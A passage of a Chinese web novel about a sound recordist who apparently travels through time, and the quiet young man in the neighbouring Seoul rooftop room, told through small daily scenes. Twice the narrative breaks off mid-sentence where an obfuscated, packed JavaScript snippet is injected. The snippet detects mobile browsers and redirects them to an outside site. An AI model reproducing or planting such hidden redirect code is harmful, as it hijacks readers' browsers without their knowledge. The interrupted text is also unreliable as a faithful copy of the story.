傍晚的时候,她在屋顶晾衣服,晾衣绳不够高,她踩着一把旧木椅,手里拎着一条洗得掉色的白衬衫,那是她从跳蚤市场捡的,样式老,但洗干净了,有一点居家味,风吹过来,把衣角吹得拍她脸上。 她咬着夹子,一手提衬衫,一手拉绳子,正费劲地挂衣服时,听见后面有人上楼。 “你要掉下来了。”他站在楼梯口,手里是一个还在冒热气的保温盒。 她没回头:“我抓得住。”郑禹胜走过来,站在她下方一阶的位置,微仰头看着她:“你力气不够。” 她偏头看他:“你怎么知道我力气不够?” “你晃了一下。” 她叹了口气:“你非得拆我台吗?” 他不说话,只是伸手扶住椅背:“下来,我挂。” 她愣了一秒,忽然松了手,他很自然地接过那件衬衫,抖了一下,夹在中间,风正好吹过来,衣角拍在他脸上,他也没动,她站在他身后,忽然觉得,这个画面她见过。 不是哪一世的穿越,也不是哪一段录像。 是她曾想象过的——如果他年轻时,真的和她有机会在一起,他们大概就是这个样子。 她看着他背影,心跳有一瞬的凌乱。 …… 晚上快七点,天还没黑透,但光线已经慢了下来。屋塔房的天台晒了一整天的热,水泥地面还在冒蒸气。天台一侧堆着几张坏掉的竹椅和一只锈蚀的煤气罐,中间摆着旧方桌,上面放着一只塑料水壶,壶身雾气未散,像在吐息。 郑禹胜靠着围墙坐着,一条腿曲着,右手撑着地。他穿的T恤微湿,黏在背上,鬓角发丝被风吹起一缕,贴在额前。 他眼神没焦点,像是没打算看任何东西。 天台另一侧,谢安琪用空豆腐盒养了一株薄荷,正拿牙签撬开浇水瓶的瓶盖,水珠嘀嗒嘀嗒地滴进泥土里,像这场闷热夏天里唯一的耐心。 她装作没看见他,其实她耳朵一直在听——他有没有动,手有没有从膝盖上放下来,烟有没有点上。 他今天没抽烟,这让她更在意,她抬头看了一眼那片落日的橘色天边,想起从前在未来那张录像带里,也曾捕到这么一个角度—— 那天他坐在灯塔下,也是这个姿势,画板立在脚边,阳光从石墙后照过来,他没说话,只在一张纸上写了两个字。 “空房。” 她从未理解那是什么意思,现在她忽然明白了,是他对时间的态度,他留空,总有人会来住。 …… 天色彻底暗下来时,整条胡同只有两家点了灯。一家是她,另一家是卖布的老奶奶——门口挂着粉红色蚊帐,亮着一盏昏黄灯泡,光不够亮,把整间屋子染成一种接近旧照片的褐色。 谢安琪坐在屋里,把录音笔的电池装回去,点开重放。 “咔嗒。” 第一秒是屋外远远的拖鞋声,第二秒是小贩推车吆喝“绿豆饼”的声音,第三秒,是她自己开门回屋时,门锁发出的轻响。 然后是几秒安静。 接着,一个男声闷闷响起——“喂,饭拿回来了。” 她怔了一秒,按了暂停。 那不是她录的,是她捡录音笔时,不小心按下的。 那声音是从她屋外的屋塔房传来的。 她不记得那天是不是他哥哥来过。但这声音……像是他,语气轻,语尾略拐,有点拖,不那么清晰,却很实。 她盯着录音笔屏幕发了半分钟的呆,突然坐直,把笔合上放进抽屉。 她决定明天去问他。不是问这段录音。是找个理由,去接一段对话。屋塔房之间的墙薄得像空气,她住在他的墙边上,不该再像个路过者。 她没等到明天。因为郑禹胜提前来了。 晚上九点半,屋塔房楼道很安静,灯泡泛黄,蚊子围着光晃。电扇声、隔壁翻身的床响、巷口狗吠,全都在空气里拉得很长。 有人走过楼梯,脚步缓慢却沉重,每一下都像落在她心上。窗外晾着的一只旧蓝色T恤在夜风中缓缓晃着影子,像是沉默站在那儿的人。 她正坐在楼梯边喝水,他从楼下上来,左手提着小包,像是刚做完临时工作。 看见她,他没停步,只朝她点了下头。 她站起身,借着光看他,发现他右手虎口红了一片。 “你手怎么了?” “搬箱子擦了点皮。”他说。 “你等等。” 她跑进屋,拿出医药箱,里面有她自己常备的酒精棉和小绷带。 他本能往后退了一点,但她没给他机会。 “你坐着。”她把他按在楼梯边的矮砖台上,蹲下,翻出棉签。 郑禹胜低头看她,眼睛里带一点不解:“你学医的?” “不是。”她小心蘸了酒精,“是拍纪录片的。” 他“哦”了一声,没再问。 她专心帮他处理伤口,低着头,发丝顺着耳廓垂下,碰到他膝盖边。他没动,只是看着她的手指,那双手不白,也不纤细,像经常拿设备、写字的——带着点规律的茧。 他忽然问:“你拍的是哪一类?” “随便拍拍,还在找自己想拍的声音。”她说。 “所以我算其中一个?” 她没抬头:“你是声音很小的人。” 他说不出话来。 她帮他贴好创可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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隔天早上,天气降温了一点。天空是湿灰的,空气带了点泥土味。楼下的锅贴铺照常开门,但铁板烙饼声听起来更像雨声,敲在鼓膜上,一下一下,轻却沉。 谢安琪泡了挂耳咖啡,坐在阳台边边那张折叠椅上,一边看稿子,一边等阳光透出来。 桌上的小风扇弱弱地吹着,她用橡皮筋把头发绑起来,留了两绺在耳侧,风一吹就轻轻扫过颈窝。 巷口传来搬货的声音,她没抬头,但她知道是他。 她听得出。 人的脚步其实比语音更诚实。他走路很稳,从不踢东西,也不急。 有些人脚步轻,是怕惊扰别人;而他,是不想多浪费一步力气。 她翻了页稿子,记下一句:“他的生活像一条胡同,走得慢,走得直,但很少回头。” 午饭时间,她在巷口遇到他,郑禹胜提着便当盒,站在水果摊前,正看着一堆熟透的香蕉发呆。 老板说:“再不买就烂了,小子。” 他“哦”了一声,挑了两根,丢了零钱。 谢安琪走过去,说:“你很喜欢香蕉?” “便宜。”他语气平,“饱腹。” 她“嗯”了一声,没再说什么。 两人并肩走了半条胡同,阳光正巧照在她左侧脸颊上,她感觉脸上发热,不确定是太阳,还是身边的距离。 “你中午吃什么?”他问。 “泡菜豆腐汤。”她说,“店家给了我一颗生鸡蛋。” 他没应声。 过了一会儿,忽然说:“你不该住这里的。” 她顿住:“为什么?” “你身上的东西太新。” “什么?” “你笔袋、包,还有那支录音笔。”他停下脚步,回头看她一眼,“都不是这个街区能有的。” 她嘴唇动了动,没回答,他没逼问,只是抬手指了指她的屋塔房方向:“你那个门,晚上别锁得太死。” 她皱眉:“怕什么?” “怕火灾,怕煤气。”他垂眼,“也怕有人逃不出去。” 她听完这句,一时说不出话,他低头剥开香蕉皮,一口咬掉一半,转头就走。 她站在原地,看着他背影一点点沉进阳光斑驳的街角。 她忽然意识到,这种话,只有住过这里很久,或者见过人从这里消失的人,才会说。 …… 那天晚上,她在笔记上写:“郑禹胜这个人,好像是一层不发光的箔纸——不发热,却能反射别人所有情绪。”她本想写完就睡,却又停笔加了一句:“但我也开始有点怕他——怕他太安静,怕他看穿我。” 她靠在墙角睡着时,录音笔没关,笔记灯也没关。电量用尽时发出一声轻响,把她从半梦半醒里惊回。 她坐起来,看见桌上多了一瓶水。是刚放上去的。 因为瓶身还有未散的水珠。她愣了两秒,走到门口开了一条缝,没人。 只是楼梯转角的那盏灯还亮着,亮得像有人刚经过。她站在门后,没说话。 也没追出去,她知道,是他。 他没进来,也没敲门——只放下一瓶水,就走了。她拎着那瓶水回屋,一饮而尽,水温刚好,像他留下的方式:不烫,不凉,不多说一句。 …… 她开始习惯屋塔房的夜了。习惯猫跳上窗沿发出轻响;习惯风把纸吹起,她不追也知道会落在哪儿;习惯煤气罐在加热时“咕哝”的低语;也开始习惯,隔壁房间的脚步声。 她不知道自己还能待多久。 但她知道,只要郑禹胜还在这条胡同里,她就还有理由留下来。 她没再追问他记不记得她。也没问,这条时间线,是不是他们曾经交错过的哪一段。她只是坐在房间里,录音笔对着窗外,听屋顶的风声。 像在等一个答案。但不是现在。现在还不该知道。 19.第19章 雨下了一夜,从凌晨开始,像把旧胶带缓缓撕开,细长又黏,毫无停歇的意思。 屋塔房的水泥地渗水慢,瓦缝里的水珠“嗒”地落进铁皮罐,一声一声响得人心浮。天未亮,整条胡同还在沉睡,只有远处菜市场的拖车声闷闷响起,仿佛从水里传来的低语。 谢安琪醒得早。她头发扎起,几缕碎发顺着鬓角滑下来。穿着旧衬衫,袖子挽到手肘,指尖握着牙刷。 窗边日光从塑料布缝里落下,刚好照在她脸侧,眼尾线条柔,却不显弱。她没化妆,皮肤带点夜晚没睡好的倦感,但看上去是种不刻意的真实。她裹着毛巾毯坐在窗边,窗子没关紧,风钻了进来,带着湿冷味,像厨房久未擦洗的钢盆气息。 她看着胡同尽头那家便利店门前的雨棚,那儿挂着一串风铃,雨势不大的时候它会偶尔响几下,今天一早却像被雨压哑了嗓子。 屋外昏黄,屋内潮闷。她没开灯,只点了笔记本边的台灯,光打在墙上,泛出一点橘色光圈,照不远,但不晃眼。 雨天的早晨时间像发泡的面,膨胀又缓慢,她在这片松弛里把水煮沸,洗脸、绑头发、换衣服,然后背上她的录音包,出了门。 鞋底一落到楼梯,水渍“叭”地一声喷起,像警告,又像谁在叫她慢一点。 便利店还是那间,还是挂着那面松松垮垮的蓝布帘,印着褪色的“24”字样。小玻璃门两边都贴了湿了边角的促销贴纸,冷藏柜旁堆着新进的饮料箱。 她推门进去时,铃响了一下,很轻。 收银台后站着一个人,侧身低头在整理收银纸卷,穿黑色短袖制服,围裙上有擦不干净的咖啡渍,帽檐压得低,看不清神情。 是郑禹胜。 他没抬头。 她走到饮料柜前,隔着玻璃看着里面一排排被冷气冻出水珠的瓶装水和米粥罐,指尖落在门把时,终于听见他说话。 “今天你不是要去看点电影?” 声音不高,有点哑。 “没意思。”她说,“票退了,等你以后拍电影,我一定去看。” 他“嗯”了一声,继续低头拆纸,她走去收银台,拿了一瓶矿泉水和一罐米粥。 “还想吃面包吗?”他问。 “你昨晚补货了?” “芋头的,还有一个红豆的,没人买。”他说完抬头看她,眼神淡淡的。 “芋头吧。” 他从背后的篮子里拿出来递给她,塑料袋一拎,手背上显出一道细细的红痕,像是早上刚被纸箱割到的。谢安琪盯了一眼没出声,只默默在他找零时,从自己口袋里摸出一张创可贴,放在收银台上。 “给你。”她说。 郑禹胜看着她手指抽回去,指腹有点发白。他眼神微停了一下,没有说谢谢,只把创可贴捏起来,塞进了围裙口袋里。 “雨大了。”她说。 “是。” “你这班几点?” “十点半。咖啡店那边人手不够。” 她点头,没继续问。他们之间像隔着一块不通透的玻璃,能听见声音,看见动作,却不太能确认对方是在看自己。谢安琪出门的时候,顺手拉了拉店门上的蓝布帘子,布料被雨淋得沉,拉扯时发出一声闷响。 街道像水墨画铺开的底稿,没边没界。远处车影模糊,近处路边有一滩积水,落雨击打在上面泛起细圈。 她没有打伞,雨滴敲在外套上,很快浸湿衣角。谢安琪没躲,只是快步走到胡同另一端的小屋檐下躲雨。墙上贴了几张发黄的租房广告,边缘卷起,字迹被水渗得模糊。 她站在那里发了会呆。 刚刚郑禹胜低头取面包时,额前一缕头发滑下来,他像是习惯性地甩了甩,眼神那一瞬对她避了半拍。 不是害羞,也不是冷淡。 是像见过,那种“不确定你是谁、但觉得似曾相识”的眼神,她不是没见过。 2019年那次,她也是这样在旧光化门街拍摄,他从她身后经过,回头看她一眼,然后低头说:“我们是不是在大学路见过?” 她摇头,装作陌生。 这一回,她不知道他看见的,是现在的她,还是那些“曾经她来过的自己”。 时间像个胶卷机,有时前进,有时倒带,有时不动——可她不知道现在的画面,是不是已经被按下过一遍。 中午过后,雨稍小了些。 谢安琪坐在她的屋塔房里剪辑素材。她刚从一位老邮差那里录完一段“92年派送路线回忆”的采访,声音轻得几乎听不清,但气息很稳。她把波形图放大,又一遍一遍地剪掉噪音,耳机贴着,背发出一层细汗。 桌边风扇继续缓慢旋转。水壶里剩半壶冷水,她没去倒。 剪辑剪到一半,电话响了。 是便利店公共电话打来的。 她犹豫了一秒才接。对面是个女人的声音:“你是住屋塔房的谢小姐吧?那个……禹胜刚刚在店里晕倒了。是低血糖。他让我们通知你。” 谢安琪顿了一下,放下耳机,站起来。她没多问,只带了钱包和外套,快步下楼。 楼道潮湿,一步踩下去,鞋底像在叫人快一点。她到便利店时,他正坐在货柜后面的塑料凳上,低着头喝糖水。帽子摘了,头发黏在额前,脖子上的血管还在跳。 郑禹胜听见她进来,没抬头:“不是说了不用叫你。” 她走过去,看了他一眼:“你都晕倒了,你还有什么决定权?” 郑禹胜笑了一下,不重:“没晕,就是蹲久了站起来快了点。” 谢安琪转头看店员:“他是不是脸都白了?” 女店员点点头:“他平时不这样。今天早上说胃疼,我们让他歇一歇。” 她叹了口气,从柜台后面拿了块毛巾,蘸了热水,递过去。 “擦擦额头。”她语气平静,“你现在还要去咖啡店?” 他没有立刻回答,只接过毛巾,抬起眼,看着她,嗓子有点哑:“能不去吗?” 她没说话,雨停了,窗外亮了一点,落地风铃又响了。 咖啡店不远,步行十五分钟,两人没说话,胡同里水迹还未干,鞋底踩在上面发出湿软的吱响。 她走在他左后方半步远,雨后的风带着冷,吹过巷子尽头的铁皮屋檐时发出呼哨一样的回音。几只湿漉漉的猫趴在纸箱里,眯着眼盯着他们经过。 她忽然问:“你真的非得去吗?” 郑禹胜没有回头,只说:“我不想欠那边人情。” 她没再劝。只是听见他下一句话。 “你要是不想陪,就回去吧。” 这句像是挡风的一把伞,薄,却足够直。 她没接,继续跟着。 风吹过他身后,她忽然发现——他肩膀比她想象的更薄一点,不是骨感,而是一种撑得住苦日子但不声张的瘦。 …… 咖啡店是他晚上兼职的小店,在一条旧胡同里,没有招牌,玻璃门贴着手写菜单,用蓝色油性笔写的。 他开门进去时,店里没人。只有一架中提琴立在角落的架子上,靠着一把椅子放着备用琴弓。 谢安琪跟进去,看了那琴一眼。 “你弹这个?” “有时候。” “什么时候学的?” 他把围裙挂好,靠在吧台边,语气淡淡:“很小的时候,后来停了。” “为什么?” “搬家了。”他说,“那边没声音。” 她没懂,但也没问,她的注意力不由自主落回那把琴上。它木色深,琴颈打了蜡,细节擦得很亮,看得出有人定期保养。 “你还拉吗?” “偶尔。”他看着她,“你想听?” 她点头,他走过去,把琴扶正,抬起琴弓的时候手腕极稳,指节扣弦,姿势熟练得像另一个人。 第一声音符拉出来的那一刻,她真的有点惊了,音色不新,但干净,有一种旧年代才会有的温吞气感,像热米汤一样,滚在胸腔里。 郑禹胜没弹快节奏,只拉了一小段,像是在自说自话,又像试探。她没打断他,直到那段音完了之后,她才说:“你以前学的也是中提琴吗。” 他微微一愣。 “你右肩松弛点。”她补了一句。 郑禹胜盯着她看了三秒。 “你以前学过吗?” “我听过。”她回避,“很多年前听过一个人拉过。” 她没说,那是他,在另一个时间线,他在她生日那晚,在灯塔边上,拉了一曲中提琴,谢安琪那时没敢问他是怎么会的,现在,她也不想问。因为她隐约明白了——这个“现在”的他,正在一点点对齐她曾经历的“过去”。 “你为什么会突然想试镜当模特?”她问。 “你觉得我不像?” “不是。”她靠在椅背上,“只是觉得你不像会主动把自己放在镜头前的人。” 郑禹胜垂眸,低声说:“我没选项。” “你会弹琴,也能写。” “写字和交房租没关系。”他说,“拉琴的那几年我住在汉阳,琴房都拆了。现在房东肯让我弹,是因为我答应给他女儿拍一张毕业照。” 谢安琪怔了一下,轻声笑了:“这也行。” 他靠在桌边,侧脸落进傍晚的阴影里。店外的雨终于停了,玻璃窗上还挂着水珠,像还在呼吸。 “你呢?” 她没理解:“什么我?” “你总是在听。你到底想听见什么?” 这问题问得她哑口,她想说,她是在找——在找过去的缝隙,看现在的你会不会露出一点熟悉。 可谢安琪不能说,于是她低声说:“我想听时间的声音。” 他说:“那你不怕听混了吗?” “怕。” “那你还听?” 她点头:“我想知道,到底是哪一段真的存在过。” …… 他们没说再多话,等他换完衣服出来,已经七点。 她陪他走出咖啡店时,天光开始落下,雨后的空气清清冷冷的,有种洗过的塑料气味。 小街上有人在墙根晾出一排伞,水滴滴在青石板上,像打在她耳朵里。 他们并肩走了一小段路。 “你是不是见过我?”她忽然开口。 郑禹胜脚步没停,语气却慢了:“什么意思?” “就……在哪个地方,你有没有觉得,我像是你以前见过的人。” 他停下来,回头看她,谢安琪也停住了,嘴唇紧抿,像在压住心跳。 “你为什么问这个?” “因为你看我的眼神,不像第一面。” 他沉默了很久。 然后只说了四个字:“你也一样。” …… 他们走到屋塔房胡同口时,天已暗,路灯还没亮,远处的小广播在放旧电台节目,男主播的声音沙哑温和:“有些声音,我们以为只是响过一次,其实它悄悄在我们体内留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515875|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下痕迹,等我们某天不经意听见时,就再也分不清是回忆,还是现在。” 谢安琪站在灯还没亮起的那段路里,忽然心跳很快,她不确定,刚刚他说的那句“你也一样”,是不是意味着—— 他记得她。 哪怕只是某一帧,某一秒,他真的记得。 这不是她第一次靠近这个结论,但却是第一次觉得,可能不是她一个人困在这些错乱时间里。 可能他,也一样。 …… 晚上十点,屋塔房的走廊里很安静。 谢安琪洗完澡,头发还没干,就靠在窗边写今天的听觉笔记。录音设备摆在桌上,麦克风头套还带着雨后的水汽味。 她一边记,一边回忆郑禹胜说“你也一样”那句话时的眼神。 他不是在试探,也不是敷衍。 那一刻,他是真的认出什么了——只是他自己也不确定。 谢安琪翻开抽屉,想找备用电池,无意间看到一本笔记本。 那不是她带来的。 封皮旧,边角软了,看得出经年翻动。纸张泛黄,第一页写着几个小字: “设备故障时备用录音指令。KCL项目:谢安琪 / 城市声音轨道计划。” 她怔住,整个人像被拉回到另一个时间。 这本笔记,她记得。 她在2017年用这本记下了她在那次地下剧场项目里采集的全部备份。那一年她去过清溪川、汉江南路、城北区废墟。 可这本——她没带来。 她翻到中间一页,夹着一张印有2023年日期的明信片,背后写着: “留给你自己。你总是忘。” 笔迹是她的,她认得出自己写字的惯性笔触。 一瞬间她有点喘不过气来,像整间屋子在雨水和回忆之间塌了一角。她站起来,看着桌上的录音设备,耳机插头微微晃动,谢安琪突然不知道自己现在是在哪一条时间线上。她也不知道,这个空间里,自己到底留下过多少次来过的痕迹。 …… 隔壁房间的窗户开了一道缝。 郑禹胜坐在桌边,正一页页翻他的试镜资料。照片是用三脚架拍的,光打得不准,有几张他的眼睛没对焦。 他翻着翻着,停下来,手指落在一张模糊的侧脸上。那张是郑禹胜夜里拍的,身后是暗巷的光,肩膀歪了一点,像是背着谁的影子。 他盯了那影像一会,忽然开口:“你到底是从什么时候认识我的?” 没有人回答他。 但他自己好像已经猜到了。 他不记得具体的事件,但他记得一种“她出现后时间就开始松动”的感觉。 像走在一条反复走过的街,他不再怀疑拐角会出现谁。 而是他知道她会在,哪怕她没说为什么来。 他靠在椅背上,闭上眼睛。 呼吸在下雨后的屋塔房里回响,像旧琴腔里的一道残音。 …… 谢安琪没睡,她在雨停后的午夜时分下了楼。 胡同里泛着湿光,一只黑猫蹲在垃圾桶边,舔着前爪。楼梯口的灯不亮,她摸着扶手下去,走到街口的电话亭。 她把那本笔记本塞进背包深处,谢安琪不敢把它放在屋里,她害怕下一次穿越时,一切又重置,而她失去了刚刚发现的这些痕迹。她站在电话亭里,看着自己的倒影贴在玻璃上,雨滴从破损的遮雨棚上滑下来,像眼泪从上而下滴落。 谢安琪轻声对自己说:“你别再回去了,好不好。” 她不知道自己说的是哪个“自己”。是现在的她,还是那个未来来过这里、又忘了的她。 …… 第二天清晨,她没等阳光升起就醒了。楼下有人在扫地,铁锹拖过水泥的声音干涩清脆。 她打开录音设备,试图调出前一晚录下的环境声,音轨开头一段是静的,只有风和塑料袋翻动的声音。 突然,中间插进一个微弱的声源。 “——禹胜,你要是听见这个,就算不记得,也别害怕。” 女声低沉,音量极轻,却像贴着耳朵说出来的,那是她的声音。 但她从没录过这段,她耳边开始嗡响,指尖按住暂停键的瞬间,像是抓住了某个自己都不曾承认的事实。 她未来真的来过。来过很多次。 而这一次,她是“又一次”,不是“第一次”,但哪一次是“第一次”。 …… 她没有和郑禹胜提起这件事。谢安琪甚至没有表现出一丝不同,谢安琪还是像昨天一样,去便利店买面包,去咖啡店拎走借的书。 谢安琪进入便利店的时候,他站在便利店冷柜边,手里拿着价格标签枪,低头核对货架数据。吊灯泛着暖黄,把他的轮廓切得干净。黑T恤湿了半截,贴着背脊,显出瘦长的肩线。 他头发有点长,额前那几缕被热气压下来,贴在眉骨上。他不笑的时候,整张脸显得淡,甚至有点疲惫,但眼神稳。他们见面,谢安琪还是微笑着问他: “你试镜的鞋买了吗?” 郑禹胜说:“快递延了。” 谢安琪说:“我给你缝好裤脚了。” 他说:“你真像个……” 她抬头:“像什么?” 他收回话:“……像个路过的人。” 她没回答。 但谢安琪知道,他说得对,她是路过的。只是她不知道,这次她是路过了多少次才终于学会了停下来。 20.第二十章(万更 晚饭过后,屋塔房顶的水泥地还带着阳光的余温。 风从天台西边吹过来,把晒了一整天的热气一点点卷走。晾衣杆上的白衬衫被吹得微微飘起,像是在向夜色点头。 谢安琪刚吃完饭,坐在屋里刷铜锅。锅是那种圆底双耳的老款,锅沿有一个磕掉的痕迹,已经看得出来用了挺多次的。水声哗啦哗啦响,像在她脑子里反复冲洗什么。 她没开灯,只让天光从窗缝里透进来,屋子不亮,却不算暗。 隔壁屋的窗子也是开着的。 风里夹着细碎的乐声——不是收音机,也不是电视,而是擦弦的声音。她停下手里的动作,侧耳听了一会,听出是中提琴。 那旋律没头没尾,不像完整曲子,反倒像在练习。她记得他昨天也拉过,大概是为了放松。 她靠在墙边,湿手握住毛巾,看着水珠从指缝里滑下来,落在膝头的棉布裤子上,一圈圈湿痕。 谢安琪忽然意识到,他们已经住得这么近、这么久了——近到可以听见对方屋子里放的水、踩木地板的声音,也近到她开始默默记住他的节奏:几点出门,几点回来,什么时候在写东西,什么时候关窗。 可她还是不知道该怎么开口。 下楼的时候,她碰见了郑禹胜,他刚从便利店下班回来,T恤领口微皱,肩背包里露出一小截纸袋,像是饭团包装。 郑禹胜看见她,点了点头,没有多余表情。 谢安琪也点头:“吃饭了?” “刚买。” 谢安琪想了想,说:“我刚好也没事,要不要去街口那边走一圈?顺便买点水果。” 他停了一下。 “走吧。”她说,“不当饭后散步,就当我需要人帮我提东西。” 郑禹胜终于嗯了一声。 两人并肩走出楼门,胡同还带着热气,脚底踩上去有点黏。墙边几株被水浇湿的薄荷长得疯,一些小叶子顺着墙角爬到砖缝里。 灯还没全亮,天空呈现一种过渡色——不是蓝,也不是灰,是那种城市傍晚才有的钝钝的温色,带点蓝调的色感。 她走在前头,他在半步之外跟着,鞋底踩在水泥路面,发出轻响。风吹起谢安琪的衬衫后摆,他忽然开口:“刚刚你在听我拉琴?” 她没回头:“有点吵?” “没有。” 谢安琪转头看他:“你也不怕扰民啊。” “隔音差,不想让人听见,就不拉了。” 她轻笑:“那你今天是想让我听见?” 郑禹胜没回答。 她没再追问,继续往前走,嘴角却有点压不住。 …… 水果店在前街的拐角,老板是个快六十岁的老先生,总爱在傍晚把音响搬出来放八十年代的老歌。 他们到的时候,正好放着李文世的《??? ?? ?? ??》,音色沙哑,歌词像是从电线杆上顺下来的。 老板戴着白手套,一边削桃子一边唱,切下的果肉落进水桶里,冒出细小的泡。谢安琪蹲在摊位前挑苹果,手指碰到一颗软的,她皱眉放下。 “这种别拿,容易烂。”谢安琪说。 郑禹胜站在她身后,低头看着她挑水果的手:“你很会挑。” “因为我不喜欢吃坏的。” “你很会察觉别人藏着的问题。”他说。 谢安琪抬头看他,表情一时有点正经:“你觉得我多嘴?” “没有。”他顿了一下,“是细。” 谢安琪没吭声,转身问老板价格,挑了四颗梨和两盒草莓,两个梨3000韩币,两盒草莓4500韩币,比2018年的价格便宜多了… 郑禹胜接过袋子时顺口问:“你今天没出去拍吗?” “太热。录音设备也不好用。” “我看你这两天好像很……累。” 谢安琪笑了下:“我这人每天看起来都很累。” 他没接话,只低头重新提了提袋子:“那你明天要去哪儿?” “大学路。采访个老校工。” “我明天下午有空。” “你是想去帮忙提设备,还是……想去看看?” 他看谢安琪一眼。 “我只是问问。”她说,眼神有点不正经地躲开。 郑禹胜答:“你问了,我就想去了。” …… 回程路上,风大了些。 两人走过一条暗巷时,有一只狗从墙角窜出来,尾巴夹着往反方向跑,脚踩在积水上,像弹出一串闷响。 谢安琪被吓了一跳,退了一步。 郑禹胜下意识伸手扶住她肩膀。 “没事。”谢安琪站稳后说。 他的手没立刻放开。 过了两秒,郑禹胜像是意识到,才轻轻收回。 风吹过谢安琪耳边,她忽然问:“你小时候也住这种房子吗?” 他低声:“不是。” “那你第一次来屋塔房,是?” “十七岁。” “为什么?” “搬出来了。” 谢安琪看他一眼,没追问。 这话题不是不能聊,但要在对的时间。他那眼神不像拒绝,只是还没准备好说。 她记得,曾在2018年查阅一份采访资料时,看见他的只言片语——“我小时候搬过八次家。屋塔房是最安静的那个地方,因为天花板没人走路。” 现在听郑禹胜说“搬出来”,她忽然有点想问:那时候有没有谁,像她现在这样,陪他走过这一段。 但她没问,谢安琪只是往前走,边走边说:“我第一次上屋塔房,是为了躲人。” 他问:“谁?” “我高中老师。他抓早恋,我不小心撞上。” “你谈早恋?” “不是我,是我朋友。” 郑禹胜轻轻笑了一下。 谢安琪也笑了。 这种“你以为我是那种人,其实不是”的轻松,像某种安全区,没那么多锋利,也没那么多问到底的执着。 她喜欢现在这个节奏。 …… 两人拐进胡同的时候,天色彻底暗下来。 路灯开始一盏一盏亮,落在墙面上像撒了一层老照片的滤镜,模糊、柔、旧。 街边的铁皮屋顶还残留着热,风从胡同深处吹出来,夹着一点凉。 郑禹胜走在她右边,两人都没说话。她手上拎着水果袋,沉得不至于吃力,却明显存在感强。 他偶尔会回头看她一眼,不多,也不长,就像确认她还在。 谢安琪假装没看见,但步子配合着他,不快不慢,贴着胡同左侧墙根走,避开洼水,也避开人家门口的柴堆和猫。 “你回来的时候,”谢安琪忽然开口,“会特意绕这条路吗?” “嗯。” “为什么?这不是最近的。” “因为最安静。”郑禹胜答得快,不像编的。 谢安琪没再问。 回到屋塔房楼下,天台上没什么人。只有对面一户正在晾被子的女人,嘴里叼着晾衣夹,手上动作利索。 谢安琪把水果袋放进自己屋里,又拿了把小折椅和一瓶凉白开上楼。 郑禹胜正靠在水塔边,抽一根烟。他没点打火机,只咬着那烟,像是习惯而已。 她走过去,在他两步外坐下:“你不怕烟味黏衣服?” “风往那边吹。”他说,手抬了抬,果然风把他那边的烟味卷走了。 她喝了口水,看天。 今天的夜空比平时淡,星光不多,像稀释后的墨汁洒在厚纸上,只有几颗亮一点的,挂在东南角。 “你喜欢夏天吗?”她问。 “小时候喜欢。” “现在?” “怕热。” “你脸皮这么薄,也会怕晒黑?” “怕的是晒晕。”他说,“我不是很能吃苦。” 谢安琪没忍住笑了一声。 郑禹胜也笑了,但没出声。 风刚好停了一下,他们都听见彼此笑的尾音。 很轻,却确实存在。 “你有没有喜欢过什么人?”她没看他,只低头问。 郑禹胜没答。过了好几秒,他说:“你是不是总在想什么时候合适问这种问题。” “那你回答了吗?” “我试图。” 谢安琪扭头看他:“什么叫试图?” “我分不清那个喜欢,是喜欢,还是我想被喜欢。” 她盯着他看了很久。 “你挺会说话的。”她说。 “我不是。”他说,“我只是现在开始慢慢习惯对话了。” 谢安琪“嗯”了一声,没说继续。 但郑禹胜开口了:“那你呢?你喜欢过什么类型?” “你想听老实的?” “嗯。” “我以前喜欢那种表面冷,其实小动作很多的。” 她笑了一下,“会偷偷拉你袖子,会半夜传歌单,考前给你拍板书,但从来不会说‘我喜欢你’。” 郑禹胜轻轻点头,没说话。 她补了一句:“你不是那种。” 他这次抬头看她:“你喜欢我这样的?” 谢安琪没接话。 只是手指在水瓶身上绕了一圈,像不经意地转了个弯。 屋顶灯亮了一盏,是旧的荧光灯,边角有飞蛾在扑。 谢安琪靠在折椅上,脚在地上点了点,问:“你以前在哪上学?” “初中在马山,高中没读完。” “你为什么不读了?” “那时候我家搬了,父亲那边管得严,我跑出来了。” “一个人?” “对。” “你有哥哥?”她问。 他点头:“大我五岁。” “他对你好?” 郑禹胜没马上答。 “以前我跟他住过一段。他早上做饭,会留我一份。” 她没接话。 郑禹胜手肘支着膝盖,低头看脚下的地面:“后来我搬来这里,他来看我一次。带了蛋糕,还带了一把旧琴。” “中提琴?” 他点头。 “所以你那时候开始弹的?” “不,是更早。我小时候身体不好,不能跑,母亲就让我学琴。” 她“嗯”了一声:“你还记得第一首完整拉出来的曲子是什么吗?” “记得。” 他没说曲名,但她心跳忽然慢了一拍。 …… 十一点钟,他们才从天台下来。 谢安琪把椅子收好,准备转身回屋,郑禹胜忽然叫住她。 “谢安琪。” 她转头。 他站在谢安琪家门口不远处,手插在裤袋里。 “你明天几点出门?” “八点。” “我送你去大学路。”他说,“那边我熟。” “你不是早上还有排练?” “可以挪。” 谢安琪看了他一会:“你在安排我们的生活?” 他偏头笑了笑:“我是问你要不要一起走。” 谢安琪没说行,也没说不行。 只是拉开门,进屋前回头,说了一句: “那你明天早点起。” 门关上的一瞬间,她听见郑禹胜在背后轻轻地笑了一声。 像是听见了“答应”。 …… 第二天早上七点半,谢安琪刚系完鞋带,门外就响了一声轻轻的敲门。 “我在楼下。” 他没说“等你”,也没问“你准备好了吗”。 谢安琪关掉电扇,拿起包走出门。 天还没热起来,胡同口的水泥地泛着昨晚的露气,一层浅灰。 他站在邮筒边,穿白衬衫、牛仔裤,包斜挎在背后,发型没有特别打理,整个人看上去干净但不刻意。 她走近时郑禹胜没动,只帮她把包从肩头接下来,语气平淡地说:“你今天带的有点多。” 